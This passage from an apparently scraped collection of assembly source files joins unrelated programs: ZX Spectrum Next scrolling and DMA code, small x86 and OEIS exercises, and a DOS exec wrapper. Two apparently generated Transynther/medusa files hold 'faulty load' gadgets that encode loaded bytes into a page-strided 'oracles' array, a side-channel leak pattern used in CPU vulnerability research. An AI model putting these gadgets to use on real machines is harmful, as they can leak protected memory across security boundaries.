; set Layer2 X-offset next registers to L, H (1..319 X-offset value)
ld a,l
nextreg $16,a
ld a,h
nextreg $71,a
ret
CopyColumns:
; H source address MSB, B bytes length MSB
; quick-init DMA to copy "B*256" bytes from address "H*256" to address "(H+$40)*256"
ld c,$6B ; ZXN_DMA_P_6B I/O port
ld de,%0'1010'1'01'1'01'0'10'01 ; D = WR0, E = WR4
out (c),d ; WR0: source address and length high-bytes only
out (c),h ; source address MSB
out (c),b ; length MSB
out (c),e ; WR4: destination address high-byte
set 6,h ; convert the $00..3F source address into $40..7F destination
out (c),h ; destination address MSB
ld de,$CF87 ; D = DMA_LOAD, E = DMA_ENABLE
out (c),d ; DMA_LOAD = load new values for transfer from WR regs
out (c),e ; DMA_ENABLE = execute the transfer
res 6,h ; restore H back to original value (will be used twice)
ret
ScrollVertical:
; scroll the scrollYpos value from 0 to 256 and back
ld hl,(scrollYpos)
ld de,(deltaY)
add hl,de
ld (scrollYpos),hl
; if L == 0, flip deltaY (+1 <-> -1)
ld a,l
or a
jr nz,.notAtEdgeYet
ld a,d
cpl
ld d,a
ld a,e
neg
ld e,a
ld (deltaY),de
.notAtEdgeYet:
; modify the copper template code to use correct Ypos values
; modify the C_MOVE $17 instruction
ld de,(scrollYpos)
nextreg $61,CopperCodeTemplate.modifyYpos - CopperCodeTemplate ; COPPER_CONTROL_LO_NR_61
ld a,e
nextreg $60,a ; result: "C_MOVE $17, scrollYpos & 0xFF" ; COPPER_DATA_NR_60
; modify the C_WAIT instruction to C_WAIT(line=(256 - y_scroll), h=38)
nextreg $61,CopperCodeTemplate.modifyWait - CopperCodeTemplate ; COPPER_CONTROL_LO_NR_61
; WAIT(line=(256 - y_scroll), h=38)
ld hl,($8000 | (38<<9)) + 256
sub hl,de ; fake instruction (or a : sbc hl,de)
ld a,h
nextreg $63,a ; using 16b copper write here for whole WAIT ; COPPER_DATA_16B_NR_63
ld a,l
nextreg $63,a ; COPPER_DATA_16B_NR_63
ret
C_WAIT MACRO line?, horizontal?
DB $80 + ((horizontal?<<1) & $7E) + ((line?>>8) & $01)
DB line? & $FF
ENDM
C_MOVE MACRO reg?, value?
DB reg?, value?
ENDM
DEFINE C_HALT C_WAIT $1FF, $FF
CopperCodeTemplate:
C_WAIT 0, 0 ; C_WAIT(line=0, h=0)
.modifyYpos: equ $+1
C_MOVE $17, 0 ; the value is modified to (ypos&0xFF), $17 is Layer2 Yoffset ; LAYER2_YOFFSET_NR_17
C_MOVE $12, $$l2buf_top/2 ; $12 is first bank of visible Layer2 (top image) ; LAYER2_RAM_BANK_NR_12
.modifyWait:
C_WAIT 0, 0 ; this is modified to C_WAIT(line=(256-ypos), h=38)
C_MOVE $12, $$l2buf_bot/2 ; set bank to bottom image ; LAYER2_RAM_BANK_NR_12
C_HALT
.end:
InitCopper:
nextreg $61,0 ; reset low 8b copper index ; COPPER_CONTROL_LO_NR_61
nextreg $62,0 ; reset high 8b copper index + stop copper ; COPPER_CONTROL_HI_NR_62
; select copper write 16b nextreg $63
ld bc,$243B ; TBBLUE_REGISTER_SELECT_P_243B
ld a,$63 ; COPPER_DATA_16B_NR_63
out (c),a
; write the copper code template into copper memory (to be modified by scroll code)
inc b ; BC = TBBLUE_REGISTER_ACCESS_P_253B
ld hl,CopperCodeTemplate
ld a,CopperCodeTemplate.end - CopperCodeTemplate
.uploadTemplateCode:
outinb ; out (c),(hl) : inc hl (but preserves B)
dec a ; loop counter (B is used for I/O port number)
jr nz,.uploadTemplateCode
; start the copper (in the "restart at scanline 0 mode")
nextreg $62,%11'000'000 ; COPPER_CONTROL_HI_NR_62
ret
WaitForScanlineUnderUla: ; wait for scanline 257 (just below 320x256 area)
; read NextReg $1E - MSB of current video line
ld bc,$243B ; TBBLUE_REGISTER_SELECT_P_243B
ld a,$1E ; VIDEO_LINE_MSB_NR_1E
out (c),a ; select NextReg $1E
inc b ; BC = TBBLUE_REGISTER_ACCESS_P_253B
; if still in scanlines 256+, then wait whole frame until scanline 0 is reached
.skipOldFrameEnd:
in a,(c)
rra ; check just top bit of MSB
jr c,.skipOldFrameEnd
; wait till 256+ scanlines (MSB = 1)
.waitFor256line:
in a,(c)
rra ; check just top bit of MSB
jr nc,.waitFor256line
; wait till line 257 (LSB == 1)
dec b ; BC = TBBLUE_REGISTER_SELECT_P_243B
ld a,$1F ; VIDEO_LINE_LSB_NR_1F
out (c),a ; select NextReg $1F
inc b ; BC = TBBLUE_REGISTER_ACCESS_P_253B
.waitLoop:
in a,(c) ; read the video line LSB
dec a
jr nz,.waitLoop ; wait for LSB == 1
ret
Copy8k:
; A has read page, A' has write page -> copy will increment them both by +1
nextreg $54,a
inc a
ex af,af'
nextreg $55,a
inc a
ex af,af'
ld hl,$8000 ,, de,$A000 ,, bc,$2000
ldir
ret
Copy80k:
; A has read page, A' has write page, do 10 loops of 8kiB copy = 80kiB
ld b,10
.loopTenTimes:
push bc
call Copy8k
pop bc
djnz .loopTenTimes
ret
ResetDma:
; init DMA - full re-init of everything
ld hl,DmaFullInit
ld bc,(DmaFullInitSz<<8)|$6B ; ZXN_DMA_P_6B
otir
ret
DmaFullInit:
BLOCK 6, $C3 ; 6x DMA_RESET (to get out of any regular state, if 5B data are expected)
DB %0'1111'1'01 ; WR0 = A->B transfer (source addres = length = 0)
DW 0, 0 ; source address, length
DB %0'1'01'0'100, %10 ; WR1 = A memory, ++, cycle length=2
DB %0'1'01'0'000, %00'1'000'10, 0 ; WR2 = B memory, ++, cycle length=2, prescalar=0
DB %1'01'0'11'01 ; WR4 = continuous mode + destination address = 0
DW 0 ; destination address
DB %10'0'0'0010 ; WR5 = stop after block, /CE only
DmaFullInitSz EQU $ - DmaFullInit
SAVENEX OPEN "bigpic.nex", start, $FF00, 0, 2 : SAVENEX CORE 3,1,5 : SAVENEX CFG 0
SAVENEX AUTO : SAVENEX CLOSE
CSPECTMAP "bigpic.map"
| 40.14939 | 162 | 0.546511 |
16335d781d72f3686761d5f3e0525cb77e2880ce | 88 | asm | Assembly | Week_7/14 - Week7_dec_1.asm | iamruveyda/KBU-Mikro | f343d1054fcdbc5de48ea9d0da467b5ecaa420b3 | [
"MIT"
] | 1 | 2021-08-10T13:39:26.000Z | 2021-08-10T13:39:26.000Z | Week_7/14 - Week7_dec_1.asm | iamruveyda/KBU-Mikro | f343d1054fcdbc5de48ea9d0da467b5ecaa420b3 | [
"MIT"
] | null | null | null | Week_7/14 - Week7_dec_1.asm | iamruveyda/KBU-Mikro | f343d1054fcdbc5de48ea9d0da467b5ecaa420b3 | [
"MIT"
] | null | null | null | .model small
.data
.code
main proc
mov ax,1010H
dec al
endp
end main | 7.333333 | 16 | 0.590909 |
b154d463d7adf80a177af8a596ec5851c3efd4c4 | 517 | asm | Assembly | oeis/278/A278818.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/278/A278818.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/278/A278818.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A278818: a(n) is the least k > n such that k + n is square.
; Submitted by Jamie Morken(s3)
; 1,3,7,6,5,11,10,9,17,16,15,14,13,23,22,21,20,19,31,30,29,28,27,26,25,39,38,37,36,35,34,33,49,48,47,46,45,44,43,42,41,59,58,57,56,55,54,53,52,51,71,70,69,68,67,66,65,64,63,62,61,83,82,81,80,79,78,77,76,75,74,73,97,96,95,94,93,92,91,90,89,88,87,86,85,111,110,109,108,107,106,105,104,103,102,101,100,99,127,126
mul $0,2
mov $2,1
lpb $0
sub $0,$2
add $2,2
add $1,$2
lpe
add $1,$2
sub $1,$0
mov $0,$1
div $0,2
add $0,1
| 30.411765 | 309 | 0.634429 |
4a2ca3beb5714d132fdc290cd11f11b9e7a2e25d | 5,792 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_7165_184.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_7165_184.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_7165_184.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x1817b, %rsi
lea addresses_normal_ht+0x269b, %rdi
nop
dec %rbx
mov $94, %rcx
rep movsb
nop
nop
nop
nop
nop
inc %r14
lea addresses_A_ht+0x119e3, %rsi
lea addresses_UC_ht+0x18a9b, %rdi
nop
nop
nop
nop
nop
and %r12, %r12
mov $2, %rcx
rep movsw
nop
nop
nop
nop
add $65293, %rbx
lea addresses_WT_ht+0x1ee87, %rsi
lea addresses_WC_ht+0x12e9b, %rdi
nop
nop
nop
nop
inc %rbp
mov $60, %rcx
rep movsw
nop
nop
nop
xor $40789, %rsi
lea addresses_D_ht+0x1c89b, %rbx
clflush (%rbx)
nop
xor %rdi, %rdi
mov (%rbx), %r14w
nop
cmp $24334, %rbx
lea addresses_normal_ht+0xc0df, %rcx
nop
nop
nop
nop
sub $38909, %rbx
movb $0x61, (%rcx)
nop
nop
nop
nop
add $32315, %r12
lea addresses_UC_ht+0x1be7b, %rdi
clflush (%rdi)
nop
nop
nop
nop
xor %r14, %r14
mov $0x6162636465666768, %rsi
movq %rsi, %xmm7
movups %xmm7, (%rdi)
nop
nop
nop
xor %r14, %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %r14
push %rdx
push %rsi
// Store
lea addresses_PSE+0x91bb, %r11
clflush (%r11)
nop
sub %r14, %r14
mov $0x5152535455565758, %r13
movq %r13, (%r11)
xor $64556, %r12
// Faulty Load
lea addresses_normal+0x469b, %rdx
nop
nop
sub $3135, %r10
mov (%rdx), %r11w
lea oracles, %r14
and $0xff, %r11
shlq $12, %r11
mov (%r14,%r11,1), %r11
pop %rsi
pop %rdx
pop %r14
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'34': 7165}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 39.401361 | 2,999 | 0.662638 |
659a535e590c9bc3df3a26b79845cb6d5ad6b2b6 | 7,225 | asm | Assembly | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_10679_970.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_10679_970.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0_notsx.log_10679_970.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x8d6f, %rsi
lea addresses_WC_ht+0x11b57, %rdi
xor $63154, %rax
mov $78, %rcx
rep movsq
nop
nop
xor $31912, %r10
lea addresses_D_ht+0x1e57, %r12
nop
and %rbp, %rbp
movb $0x61, (%r12)
nop
nop
sub $23545, %r10
lea addresses_UC_ht+0xa34f, %rdi
clflush (%rdi)
nop
sub $50305, %rcx
movups (%rdi), %xmm6
vpextrq $1, %xmm6, %r12
nop
nop
cmp %rbp, %rbp
lea addresses_normal_ht+0x11789, %rsi
lea addresses_UC_ht+0x165d7, %rdi
nop
nop
nop
nop
and $26316, %rax
mov $51, %rcx
rep movsl
sub $47557, %r10
lea addresses_WT_ht+0x4797, %r10
nop
nop
nop
nop
add %rsi, %rsi
mov $0x6162636465666768, %rax
movq %rax, %xmm3
vmovups %ymm3, (%r10)
nop
nop
nop
nop
nop
inc %rax
lea addresses_WT_ht+0xa157, %rdi
nop
nop
xor $33469, %rbp
movups (%rdi), %xmm3
vpextrq $0, %xmm3, %r12
dec %rbp
lea addresses_UC_ht+0x1cd35, %rcx
nop
nop
nop
nop
xor %rdi, %rdi
mov (%rcx), %esi
nop
nop
nop
cmp %rbp, %rbp
lea addresses_D_ht+0x1a657, %rbp
nop
nop
nop
add %rcx, %rcx
movb $0x61, (%rbp)
nop
nop
nop
dec %rdi
lea addresses_WT_ht+0xcfa7, %rsi
and $56237, %rcx
movb (%rsi), %r10b
nop
nop
nop
add %rdi, %rdi
lea addresses_D_ht+0xae57, %rdi
nop
dec %r12
movl $0x61626364, (%rdi)
cmp %rax, %rax
lea addresses_normal_ht+0x14d7, %rsi
lea addresses_D_ht+0x163c7, %rdi
nop
nop
nop
nop
nop
xor %r10, %r10
mov $28, %rcx
rep movsq
nop
nop
xor $53780, %rsi
lea addresses_A_ht+0x17f57, %rsi
lea addresses_WC_ht+0x5657, %rdi
nop
nop
and %r12, %r12
mov $106, %rcx
rep movsb
nop
add %r10, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %r8
push %rax
push %rbx
push %rcx
// Load
lea addresses_A+0x5c17, %r10
nop
nop
nop
sub $21550, %r14
vmovntdqa (%r10), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %rcx
nop
nop
nop
sub %rbx, %rbx
// Faulty Load
mov $0x7a84fe0000000e57, %r14
nop
sub %r8, %r8
movups (%r14), %xmm7
vpextrq $0, %xmm7, %r13
lea oracles, %rbx
and $0xff, %r13
shlq $12, %r13
mov (%rbx,%r13,1), %r13
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 32, 'NT': True, 'same': False, 'congruent': 6}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_NC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 10}}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 6}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 11}}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 11}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}}
{'00': 10679}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 36.862245 | 2,999 | 0.656332 |
a7ac7982305b72a54fe3df4665fb592cb3942823 | 1,780 | asm | Assembly | src/execpr.asm | HannaCun/uemacs | 3cd4693bc012961ef5e5ce7e63f4aaa798fbbcaa | [
"BSD-3-Clause"
] | 1 | 2021-12-07T07:53:48.000Z | 2021-12-07T07:53:48.000Z | src/execpr.asm | HannaCun/uemacs | 3cd4693bc012961ef5e5ce7e63f4aaa798fbbcaa | [
"BSD-3-Clause"
] | null | null | null | src/execpr.asm | HannaCun/uemacs | 3cd4693bc012961ef5e5ce7e63f4aaa798fbbcaa | [
"BSD-3-Clause"
] | null | null | null | ; EXECPR: execute a program directly using dos exec call.
;
; calling sequence = execpr(prog, pblock);
; char *prog =
; where progname is the full file spec with extension
; char *pblock =
; ptr to the parameter block for the exec call
; RETURNS:
; -n DOS error number
; 0 successfull call
; +n child return code
;
; THIS IS A FAR CALL/LARGE DATA VERSION
args equ 6 ; offset of arguments -- large model
_TEXT segment byte public 'CODE'
;DGROUP group _CODE
assume cs:_TEXT
; declare procedure names
public _execpr
_execpr proc far
; do C setup
push bp
mov bp,sp
push ds
; set up the pointer to the asciiz string with program/path names
mov ax, [bp+args+2]
mov ds, ax
mov dx, [bp+args+0]
; set up the pointer to the parameter block
mov ax, [bp+args+6]
mov es, ax
mov bx, [bp+args+4]
; set the function number
mov ah, 4bh ;execute a program [DOS 4Bh call]
; set up the function value
mov al, 0 ;load and execute program
; save all registers in our stack area
push bx
push cx
push dx
push si
push di
push ds
push es
push bp
mov cs:ss_save,ss ; save ss
mov cs:sp_save,sp ; save sp
int 21h ; go exec program
mov ss, cs:ss_save ; restore the stack seg/pointer
mov sp, cs:sp_save
jc failed ; jump if dos error occurs
; exec successful - get child's return code
mov ah, 4dh ; Get return code of a Subprocess
int 21h
jmp return ; return code is now in AX
; exec failed. Negate and pass through the AX return code
failed:
neg ax
; now reset all registers and return
return:
; restore all registers from our stack
pop bp
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ds
pop bp ; restore for C
ret
_execpr endp
;
; data area for exec prog
ss_save dw ?
sp_save dw ?
_TEXT ends
end
| 16.481481 | 65 | 0.694382 |
179c9c42d703c2eb00d2018b733aadd44274ebdf | 1,139 | asm | Assembly | Library/Trans/Graphics/Bitmap/Bmp/Export/exportManager.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/Trans/Graphics/Bitmap/Bmp/Export/exportManager.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/Trans/Graphics/Bitmap/Bmp/Export/exportManager.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
